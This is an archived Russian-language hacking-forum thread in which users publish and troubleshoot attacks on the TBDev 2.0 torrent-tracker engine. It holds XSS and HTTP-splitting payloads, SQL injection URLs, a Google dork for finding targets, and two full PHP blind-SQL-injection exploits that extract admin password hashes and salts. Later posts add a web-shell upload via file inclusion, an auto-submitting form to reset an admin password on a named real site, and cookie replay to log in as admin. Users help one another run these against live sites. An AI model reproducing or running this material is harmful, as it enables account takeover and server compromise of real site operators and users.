Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Трекер-движок TBDev 2.0 (https://forum.antichat.xyz/showthread.php?t=79705)

Qwazar 05.08.2008 06:55

Трекер-движок TBDev 2.0
 
Баги искал на, TBDev 2.0 Yuna Scatari Edition, подозреваю что в других редакциях они так-же работают:

Раскрытие пути, если не залогинен:
Код:

confirm.php?id[]=
themes/TBDev/stdfoot.php
themes/TBDev/stdhead.php
themes/Gray/stdhead.php
delete.php
captcha.php

если залогинен:
Код:

thanks.php
votesview.php
takeedit.php
comment.php?action=quote&cid[]=

XSS
Код:

http://site/offcomment.php?action=<script>alert(/XSS/)</script>
XSS в POST-запросе:
Код:

<form action="http://site/getrss.php" method="POST">
<input type="text" name="cat[1]" value="&lt;script&gt;alert(/XSS/)&lt;/script&gt;">
<input type="submit">
</form>

HTTP Splitting (требуются права модератора)
Код:

<form action="http://site/comment.php?action=edit&cid=ID_комментария" method="POST">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="text" value="any_text">
<input type="submit">
</form>

Вместо "ID_комментария" надо подставить id реально существующего комментария. Так же эта бага позволяет отредиректить модератора на любой домен (проверки на то что адрес назначения находится на том-же домене, нет).

Ищется в гугле, как: "Powered by TBDev v2.0"

В общем, всё что нашёл сегодня, багов на порядок больше, но искал не оч. глубоко.

Qwazar 05.08.2008 16:41

HTTP Splitting (простого пользователя достаточно):
Код:

<form action="http://site/message.php?action=takemessage" method="POST">
<input type="text" name="receiver" value="1">
<input type="text" name="origmsg" value="1">
<input type="text" name="returnto" value="%0d%0a%0d%0a&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
<input type="text" name="msg" value="msg">
<input type="text" name="subject" value="subject">
<input type="submit">
</form>

XSS в POST запросе (требуются права модератора):
Код:

<form action="http://site/message.php?action=mass_pm" method="POST">
<input type="text" name="n_pms" value="&lt;script&gt;alert(/XSS1/)&lt;/script&gt;">
<input type="text" name="pmees" value="&lt;script&gt;alert(/XSS2/)&lt;/script&gt;">
<input type="submit">
</form>

Там же, XSS в Referer(требуются права модератора)
Код:

Referer: ><script>alert(/Hi/)</script>
SQL Inj(требуются права модератора)
Код:

<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="SQL">
<input type="submit">
</form>

Запрос: SELECT modcomment FROM users WHERE id IN (SQL)


Blind SQL Inj
(требуются права модератора)
Код:

<form action="http://site/nowarn.php" method="POST">
<input type="text" name="nowarned" value="nowarned">
<input type="text" name="usernw[]" value="1">
<input type="text" name="desact[]" value="SQL">
<input type="submit">
</form>

Запрос: UPDATE users SET enabled='no' WHERE id IN (SQL)

Qwazar 05.08.2008 18:22

SQL Inj
Код:

http://site/requests.php?action=reset&requestid=sql'
Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj
Код:

http://site/requests.php?action=reset&requestid=sql'
Запрос: SELECT userid, filledby FROM requests WHERE id =sql'

SQL Inj:
POST:
Код:

http://site/requests.php
action=edit&category=1&id=SQL

Запрос: UPDATE requests SET cat=1, request='', descr='' WHERE id=SQL

Blind SQL Inj:
POST:
Код:

http://site/offers.php
action=edit&id=SQL

Запрос: UPDATE offers SET category='', name='', descr='' WHERE id=SQL

SQL Inj (требуются права модератора):
POST:
Код:

http://site/offers.php
deloffer=SQL

Запрос: DELETE FROM offers WHERE id = SQL

XSS
Код:

http://site/viewrequests.php?category=><script>alert(/XSS/)</script>
XSS(требуются права модератора)
Код:

http://site/staffmess.php?returnto=><script>alert(/XSS/)</script>
XSS in Referer:
Код:

http://site/offcomment.php?action=edit&cid=3
Referer: ><script>alert(/XSS/)</script>

Код:

http://site/offcomment.php?action=vieworiginal&cid=3
Referer: ""><script>alert(/XSS/)</script>

HTTP Splitting (требуются права модератора):
Код:

http://site/offcomment.php?action=delete&cid=1&sure=1&returnto=<script>alert(document.cookie)</script>
POST:
Код:

http://site/offcomment.php?action=edit&cid=3
msg=msg&returnto=value

З.Ы.
Сори за неупорядоченность, постил по мере нахождения. Кстати, теперь по Powered by TBDev на второй строчке гугла находится античат :D

Qwazar 07.08.2008 20:47

TBDev v2.0 Blind SQL Injection Exploit
Код:

http://site/requests.php?action=reset&requestid=sql'
Иньекция оказалось слепой, но с выводом ошибки поэтому использовал следующий запрос:
Код:

/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+users+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+
Для запуска требуется логин/пароль любого зарегистрированного пользователя, кукисы сплоит запросит самостоятельно.

Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

Запускать так:
Код:

tbdev2sql.php url target_id login password
Например tbdev2sql.php http://www.site.com/ 1 Vasya Pupkin

Собственно код:
Код:

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru

set_time_limit(0);
ignore_user_abort(1);

function getcookie($url, $name, $password){
        $res = send_xpl($url,"takelogin.php?username=$name&password=$password");
        preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
        $uid=$matches[1];
        preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
        $passhash=$matches[1];
        $res = "uid=$uid; pass=$passhash;";
        if(isset($uid)&&isset($passhash))
                return $res;
        else
                return -1;
}

function send_xpl($url, $xpl){
        global $id;
        global $cookie;
        $u=parse_url($url);
        $req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
        $req.="Host: ".$u['host']."\r\n";
        $req.="Cookie: $cookie\r\n";
        $req.="Connection: Close\r\n\r\n";
        $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
        fwrite($fs, $req);
        while (!feof($fs)) {
                  $res .= fread($fs, 8192);
        }
        fclose($fs);
        return $res;
}

function xpl($field ,$condition, $pos){
        global $id;
        $xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
        return $xpl;
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2sql.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
        echo "[DONE]\r\n";
else
        die("Can't get cookies.. Pass incorrect?\r\n");

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){       
        $flag = 0;
        for($j=48;$j<=57;$j++){
                if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
                else {if($j!=48) {echo chr(8);} echo chr($j);}
        }
        if($flag!=1) {
                for($j=97;$j<=102;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash",'='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if (!$flag)
                die("\r\nExploit failed\r\n");
}

echo " [DONE]\r\n";

echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
        $flag = 0;
        for($j=49;$j<=57;$j++){
                if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=49) {echo chr(8);} echo chr($j); $flag=1; break; }
                else {if($j!=49) {echo chr(8);} echo chr($j);}
        }
        if($flag!=1) {
                for($j=65;$j<=90;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if($flag!=1) {
                for($j=97;$j<=122;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if (!$flag)
                die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";


?>

Скачать можно тут: скачать файл

OMG!! 12.08.2008 20:12

/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+

SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0

tbdev2sql.php url target_id login password

За скрипт спасибо, залил на хост юзаю..
Цитата:

http://myhost/tbdev2sql.php http://target/ 1 вася парольваси
и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? :) ++

Qwazar 13.08.2008 02:38

Цитата:

Сообщение от OMG!!
/requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+passhash+from+u sers+where+id=1),1,1))=[CHARCODE],'1',(select+1+union+select+2))+--+

SQL ругается.. но иньекция не проходит. в чаркод что писать?.. кодировку базы? о_0

Чаркод - код символа, если символ находится на данной позиции, то ошибке не будет, если не находится - выдаст ошибку "Subquery returns" чтото там.

Для passhash это числа от 48 до 57 включительно (0-9) и от 97 до 102 включительно (a-f).

Позиция проверяемого символа задаётся в этом кусочке запроса:
Код:

(select+passhash+from+u sers+where+id=1),[POS],1)
Вместо [POS], для passhash подставляй цифры от 1 до 32.

Если хочешь получить соль, то вместо "passhash" подставь "secret" и диапазоны pos - 1-20, charcode - 49-57,65-90,97-122 (включительно). Соль - 20 символов [1-9,a-Z]

Цитата:

Сообщение от OMG!!
За скрипт спасибо, залил на хост юзаю..

http://myhost/tbdev2sql.php http://target/ 1 вася парольваси

и апач говорит тут же, что не найден этот файл.. ммм. может я не так что-то делаю? :) ++

UPD: Блин, неправильно тебя понял. В общем его надо запускать из командной строки! А не из браузера.


P.S.
А вообще посмотри сплоит, код очень прост для понимания.

Nightmarе 16.08.2008 12:24

Ещё одно раскрытие пути обнаружил:
details.php?id[]=

Qwazar 17.08.2008 05:04

Ещё XSS, требуются права модератора:
Код:

http://site/stats.php?uporder="><script>alert(/XSS/)</script>
http://site/usersearch.php?r="><script>alert(/XSS/)</script>

Для usersearch.php уязвимы параметры r,n,co,dl2,ls2,ul2,ls,d,em,ul,r2,dl,ma,ip,d2

OMG!! 06.09.2008 19:13

Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++

Qwazar 06.09.2008 20:49

Цитата:

Сообщение от OMG!!
Qwazar, а как подставить куки в эксплоит.. я юзаю его на VDS. У себя дома с поддержкой CLI запустить не вышло.. зато на VDS по ssh пошло, как по маслу.. как подменить куки? +++

Ну вообще он при запуске требует логин/пароль и сам запрашивает куки.

Но если очень хочется, можешь эту строку
Код:

$cookie = getcookie($url, $name, $password);
заменить на
Код:

$cookie = "А СЮДА ВСЁ ЧТО ХОЧЕШЬ"

OMG!! 06.09.2008 21:58

Запустил..

Код:

Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed

соль не подбирает.. значит дырку прикрыли? может существуют методы?

Qwazar 07.09.2008 04:51

Цитата:

Сообщение от OMG!!
Запустил..

Код:

Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt: lz
Exploit failed

соль не подбирает.. значит дырку прикрыли? может существуют методы?

Нет, дырку не прикрыли, видимо просто на 3м символе соли сервер перестал отвечать. Тут есть 2 варианта:
1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
2) Удалить всё между
Код:

echo "Trying to get passhash: ";
и
Код:

echo "Trying to get salt: ";
и подбирать только соль, так же можно в оставшемся цикле подкручивать начальное значение $i, в твоём случае можно поставить $i=2 , т.к. первый символ соли ты подобрал.

OMG!! 07.09.2008 14:16

Qwazar, я удалял цикл получения хеша.. толку мало, все равно lz и дальше не идет..( z - не успел перебрать.. только один символ значит. ) Пробовал менять значение $i= на 2-ю букву.. 3-ю... и т.д. в обоих случаях получаю :

Цитата:

Trying to get your cookies... [DONE]
Trying to get passhash: Trying to get salt: z
Exploit failed
Код:

1) Переписать сплоит так, чтобы использовался бинарный поиск (так уменьшится количество запросов)
как? :D ++++

Qwazar 08.09.2008 12:40

Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменять
Код:

for($j=49;$j<=57;$j++){
на
Код:

for($j=48;$j<=57;$j++){
.

OMG!! 08.09.2008 16:52

Цитата:

Сообщение от Qwazar
Хмм.. Возможно у тебя чуть другая версия TBDev, тогда может у тебя соль не [1-9,a-Z], а [0-9,a-Z]. Попробуй в том цикле, где ищется соль, поменять
Код:

for($j=49;$j<=57;$j++){
на
Код:

for($j=48;$j<=57;$j++){
.

Попробовал.. как результат:

Цитата:

Trying to get your cookies... [DONE]
Trying to get passhash: 18a21e8e877feb58b5073b9b838b8db2 [DONE]
Trying to get salt:0z
Exploit failed
И на другой ID атака.. :

Цитата:

Trying to get your cookies... [DONE]
Trying to get passhash: b51f02706ed3113b1b533f4f16282747 [DONE]
Trying to get salt:00z
Exploit failed
Версия 2.0 вроде ) хеш же тащит..как вытащить соль?)) :p


все-таки с солью что-то не то.. как я поменял алгоритм ( с нуля поиск ) то теперь в соли первые нули.. а тогда, когда эксплоитил без изменений - соль была слегка другой ( первый символ )

Qwazar 08.09.2008 18:51

Замени кусок с солью, на:

Код:

echo "Trying to get salt: ";
//get secret (20 characters 1-9a-Z)
for($i=1;$i<=20;$i++){
        $flag = 0;
        for($j=48;$j<=57;$j++){
                if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
                else {if($j!=48) {echo chr(8);} echo chr($j);}
        }
        if($flag!=1) {
                for($j=65;$j<=90;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if($flag!=1) {
                for($j=97;$j<=122;$j++){
                        if(!preg_match('/Subquery returns/', send_xpl($url, xpl("secret",'='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
                        else {echo chr(8).chr($j);}
                }
        }
        if (!$flag)
                die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";

Если и это не поможет, поиграй с диапазонами во внутренних циклах, возможно в соли встречаются какието другие символы, ещё возможно то что она короче. Хз почему так, может какой мод установлен. На родном TBDev2 всё пашет на ура.
Цитата:

Сообщение от ikolla$$
Можно поподробнее?И желательно совсем подробно.А лучше видио.

Подробнее - нет, т.к. считаю это неправильным. Если ты встречался с перлом, то проблем php у тебя не вызовет. Почитай статьи, покопайся для начала сам.

Qwazar 20.09.2008 01:24

Прошу прощения за то что долго не отвечал :)

Новая версия сплоента, использует бинарный поиск (что делает его предпочтительнее прошлого варианта ввиду логарифмической сложности поиска, а значит и меньшем количестве запросов к серверу, во время атаки), так-же перед атакой проверяет уязвима ли цель. Поиск по соли идёт теперь в диапазоне от 0 до 255, т.к. есть данные, что соль в разных версиях (или с какими нибудь модами) генерится по разному.

Код:

<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function getcookie($url, $name, $password){
        $res = send_xpl($url,"takelogin.php?username=$name&password=$password");
        preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
        $uid=$matches[1];
        preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
        $passhash=$matches[1];
        $res = "uid=$uid; pass=$passhash;";
        if(isset($uid)&&isset($passhash))
                return $res;
        else
                return -1;
}

function send_xpl($url, $xpl){
        global $id;
        global $cookie;
        $u=parse_url($url);
        $req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
        $req.="Host: ".$u['host']."\r\n";
        $req.="Cookie: $cookie\r\n";
        $req.="Connection: Close\r\n\r\n";
        $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
        fwrite($fs, $req);
        while (!feof($fs)) {
                  $res .= fread($fs, 8192);
        }
        fclose($fs);
        return $res;
}

function xpl($field, $condition, $pos){
        global $id;
        $xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+users+where+id=$id),$pos,1))$condition,'1',(select+1+union+select+2))+--+";
        return $xpl;
}

function cond($url, $field, $cond, $pos, $ch) {
        if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
                return 1;
        else
                return 0;

}

function isVulnerable($url) {
        if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
                return 1;
        else
                return 2;
}

function getChar($url, $field, $pos, $lb=0, $ub=255) {
        while(true) {
                $M = floor($lb + ($ub-$lb)/2);
                if(cond($url, $field, '<', $pos, $M)==1) {
                        $ub = $M - 1;
                }
                else if(cond($url, $field, '>', $pos, $M)==1) {
                        $lb = $M + 1;
                }
                else
                        return chr($M);
                if($lb > $ub)
                        return -1;
        }
}

if($argc<4)
{
echo "==================\r\n";
echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];
$name=$argv[3];
$password=$argv[4];

echo $url.":".$name.":".$password."\r\n";

echo "Trying to get your cookies... ";
$cookie = getcookie($url, $name, $password);
if($cookie!=-1)
        echo "[DONE]\r\n";
else
        die("Can't get cookies.. Pass incorrect?\r\n");

if(!isVulnerable($url))
        die("Exploit failed: Target is not vulnerable");

echo "Trying to get passhash: ";
for($i=1;$i<=32;$i++){       
        $c = getChar($url, "passhash", $i, 47, 103);
        if($c==-1)
                die("\r\nExploit failed\r\n");
        else
                echo $c;
}
echo " [DONE]\r\n";

echo "Trying to get salt: ";
for($i=1;$i<=20;$i++){       
        $c = getChar($url, "secret", $i);
        if($c==-1)
                die("\r\nExploit failed\r\n");
        else
                echo $c;
}
echo " [DONE]\r\n";


?>

Скачать можно тут: http://www.x2b.ru/get/3447

Как защититься, читаем тут: https://forum.antichat.ru/thread30641.html

Не забыть и про остальные файлы кроме requests.php, двиг дырявый, я вполне мог чтото и просмотреть.

З.Ы.
Да и вообще хозяйке на заметку - бинарный поиск вечно рулит, незачем писать перебор в лоб и слать по 16 запросов, на каждый символ, особенно критично если сплоент на бенчмарке.

Red Virus 24.09.2008 00:15

Цитата:

Сообщение от DJ ][akep
Trying to get passhash: 4537fe63957cb67a4921ad56bdef5295 [DONE]
Trying to get salt: XiWVDJOsy4nSdjw2Iupr [DONE]
Вроде все норм прощло Только что с солью?

P.S. Если кто расхешыт кинте плз в пм с мну +++


вставь пас хеш в куки и будет тебе счастье :)

Qwazar 24.09.2008 01:03

Цитата:

Сообщение от DJ ][akep
Вроде все норм прощло Только что с солью?

А что не так с солью?

Как я уже писал:
Результат работы - hash, salt. hash закодирован как: md5($salt.$pass.$salt);

Соль - 20 символов.

DJ ][akep 24.09.2008 16:28

Цитата:

Сообщение от Red Virus
вставь пас хеш в куки и будет тебе счастье :)

Непойму строение кукисов
Что первое
mybbuser=3306_iIXAPC6fB3d7CqTrVbEg5kpw7Lt3aMCIv2JG 8HLAep9GAtyWu6

Объясни что сюда нужно править т.к. я в
pass - правил добытый експлоитом хэш
а в
uid поставил 1 (типо админа)
Но что в первом я непонял :(

Qwazar 25.09.2008 02:09

У меня:
Цитата:

Cookie:
uid=2; pass=13b5c2e3dc4472ed1d28dfe3f6649ffe; mybbuser=2_WoFEnvzPlYkFEqbT2cYZef8HbAl1ElldsmX9617 7j7x9HMPQ3N
Жирным выделил то, что нужно поменять на passhash + не забудь uid сменить на 1. НА mybb* - забей, это для форума, сплоит эти поля не достаёт.

DJ ][akep 25.09.2008 12:29

Спасибо все получилось.
Еще вопрос.
Реально с админки шел залить?

slider 25.09.2008 16:57

как вариант ... конечно ... заифреймить админу такую HTML -ку

Код HTML:

<body onload="p.submit()">
<form action="http://megalife.kz/torrent/admincp.php?op=iUsers" method="post" id="p">
<input type=hidden name="iname" value="ИМЯ_АДМИНА">
<input type=hidden name="ipass" value="НОВЫЙ_ПАРОЛЬ">
<input type=hidden name="imail" value="МАЙЛ_АДМИНА@mail.ru">
<input type=hidden name="isub" value="%D1%E4%E5%EB%E0%F2%FC">
<input type=hidden name="op" value="iUsers">

Как вы уже все поняли ... это сменит пароль нужному нам пользователю.... проявите немного фантазии и дело за малым ;)

Uname-A 03.11.2008 13:07

C:\php>php.exe sql.php http://adrez/ 1 123123123 123123
http://adrez/:123123123:123123
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed

Пробывал сайтах на 5 везде одно и тоже .. Кто может помоч?

n-000 10.11.2008 02:02

Цитата:

Сообщение от Uname-A
C:\php>php.exe sql.php http://adrez/ 1 123123123 123123
http://adrez/:123123123:123123
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed

Пробывал сайтах на 5 везде одно и тоже .. Кто может помоч?

Я попробую тебе помоч -))
измени target_id с 1 на 3 или 4 или 10 ... вопщем посмотри id админа сначало и ставь его туда ...
Т.к при установке этого движка в базу прописываеца не 1 ... у меня на локалхосте он равнялся 3

Витян 21.11.2008 13:02

сделал видео _http://letitbit.net/download/262433962218/qwazar-sploit.rar.html
_http://rapidshare.com/files/165895736/qwazar_sploit.rar.html

Чтобы небыло вопросов, php из видео скачан отсюда _http://php.ru/download/php-5.2.1-Win32.zip

злойдядька 23.11.2008 23:43

активные XSS в полях Email, Имя в AIM, Ваш MSN, Имя в Yahoo!, Имя в mIRC!, Сайт.
Все работает если вводить при реге, если редактировать после реги, работать не будет.
В поле Email скуля, тоесть при реге вводим мыло вида ' group by 100/*@blablabla.ru
выдает что количество колонок не верное.
Пример получения хеша админа:
в поле имейл пишем :' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua

по адрессу h**p://сайт/torrents/images/1.txt смотрим хеш юзера с id=1
пассивная хss www.site.ru/redir.php?url='><script>alert(/xak/)</script>

Qwazar 05.12.2008 00:50

TBDev2 Blind SQL Injection+RFI Exploit
 
Сплоит для TBDev 2.0. , от паблик версии отличается тем, что пытается залить шелл на сервер, помимо поиска пасса/соли. Если шелл залить не удаётся, значит вместо RFI прийдётся использовать LFI, или на сервере не работает функция file_put_contents, которую вполне можно заменить на обычный fopen/fwrite.

LFI/RFI в админке используя параметр admincp.php?rootpath=.

Если register_globals ON, то LFI/RFI доступны и не из админки, а из index.php, тот же параметр.

Читайте комментарии к сплоиту, для заливки шелла, нужно положить код
Код:

<?php
  file_put_contents("torrents/.htaccess", "");
  file_put_contents("torrents/shell.php", "<? system(\$_GET['cmd']) ?>");
?>

В файл доступный для чтения, на вашем сервере и прописать путь к нему в переменной $uploader.

Так же сплоит может просто вытащить хеш, соль не закачивая шелл. Используется алгоритм бинарного поиска, так что запросов шлётся относительно немного, для слепой скули. (максимум 4 запроса на символ, вместо стабильно 16 при полном переборе, т.е. работает минимум в 4 раза быстрее, чем при полном переборе. И вообще для всех сплоитов со слепыми скулями, использующих BENCHMARK или перебор имён таблиц, стоит использовать алгоритм бинарного поиска, так быстрее)

P.S.
В каталоге 'admin' вообще лежит файлик (core.php) следующего содержания:
Код:

$op = (!isset($_REQUEST['op'])) ? "Main" : $_REQUEST['op'];

foreach ($_GET as $key => $value)
        $GLOBALS[$key] = $value;
foreach ($_POST as $key => $value)
        $GLOBALS[$key] = $value;
foreach ($_COOKIE as $key => $value)
        $GLOBALS[$key] = $value;

Этот файл инклудится в admin.php .

Dork:"Powered by TBDev v2.0"

Качать тут: http://www.x2b.ru/get/14887

pacan4ik 08.12.2008 23:00

&
 
Can't create/write to file '..\..\..\usr\local\www\torrent\torrents\images\1. txt' (Errcode: 2)

Red Virus 09.12.2008 14:31

Запрос в поле майл делаю правильно новсе время вылетает ошибка

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/* -- @uspp.ru'' at line 1

хотя на локальной машине все робит на ура вчем проблема может быть ?

aka PSIH 09.12.2008 16:08

Цитата:

Сообщение от Qwazar
Ты уверен что у тебя прав хватает?

Errcode 2 означает что папка не существует(т.е путь не правильный)... ;)
Если прав не хватает то Errcode 13
;)
special for roa :p

Dimazzan 09.12.2008 16:21

Помогите с проблемой
Цитата:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/* -- @mail.ru'' at line 1

DIMON4G 09.12.2008 22:46

Цитата:

Сообщение от Витян
сделал видео _http://letitbit.net/download/262433962218/qwazar-sploit.rar.html
_http://rapidshare.com/files/165895736/qwazar_sploit.rar.html

Чтобы небыло вопросов, php из видео скачан отсюда _http://php.ru/download/php-5.2.1-Win32.zip

выложи видео пожалуйста на депоситфайлс.

Витян 10.12.2008 00:00

http://depositfiles.com/files/w2ggoxnsd

DIMON4G 10.12.2008 17:08

Витян эх, данное чудо уже не работает ((( больше никаких уязвимостей не знаешь (приват) :) ?

DIMON4G 10.12.2008 17:12

Цитата:

Сообщение от Uname-A
C:\php>php.exe sql.php http://adrez/ 1 123123123 123123
http://adrez/:123123123:123123
Trying to get your cookies... [DONE]
Trying to get passhash:
Exploit failed

Пробывал сайтах на 5 везде одно и тоже .. Кто может помоч?

+1 также, мож это всё лажа.... :(

Qwazar 10.12.2008 17:35

Цитата:

Сообщение от DIMON4G
+1 также, мож это всё лажа.... :(

Ну дык, сколько времени уже прошло, на сайте разработчика уже исправления для этой баги выложили.

Dimazzan 10.12.2008 18:14

Цитата:

в поле имейл пишем :' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt'/* -- @ukrnet.ua

по адрессу h**p://сайт/torrents/images/1.txt смотрим хеш юзера с id=1
Эта штука не пашет!!!

Dimazzan 10.12.2008 18:15

Цитата:

+1 также, мож это всё лажа....
Эта штука еще актуально на Sky-Tracker

http://www.google.ru/search?hl=ru&q=Powered+by+Sky-Tracker&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2 +Google&lr=

holden321 13.12.2008 17:13

подскажите, зайдя на сайт как админ или сисоп я могу изменить файлы движковые или записать новые? хотябы в принципе это возможно или нет?
Sky-Tracker


Время: 01:32